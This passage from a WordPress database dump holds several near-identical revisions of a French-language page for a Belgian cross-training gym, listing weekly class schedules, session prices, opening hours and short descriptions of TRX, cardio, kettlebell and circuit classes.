zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:54:03', '2013-07-03 15:54:03', '', 11, 'http://www.crosstrainingcenter.be/?p=158', 0, 'revision', '', 0),
(161, 1, '2013-07-03 16:09:17', '2013-07-03 16:09:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;objectif\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:09:17', '2013-07-03 16:09:17', '', 11, 'http://www.crosstrainingcenter.be/?p=161', 0, 'revision', '', 0),
(159, 1, '2013-07-03 15:55:25', '2013-07-03 15:55:25', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;objectif\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:55:25', '2013-07-03 15:55:25', '', 11, 'http://www.crosstrainingcenter.be/?p=159', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(160, 1, '2013-07-03 16:08:26', '2013-07-03 16:08:26', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,&amp;lt;b&amp;gt;Lundi[attr class=\&quot;objectif\&quot;]&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Mardi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Mercredi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Jeudi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Vendredi&amp;lt;/b&amp;gt;\r\n&amp;lt;b&amp;gt;17h30&amp;lt;/b&amp;gt;,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n&amp;lt;b&amp;gt;18h15&amp;lt;/b&amp;gt;,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n&amp;lt;b&amp;gt;19h00&amp;lt;/b&amp;gt;,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n&amp;lt;b&amp;gt;19h45&amp;lt;/b&amp;gt;,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td 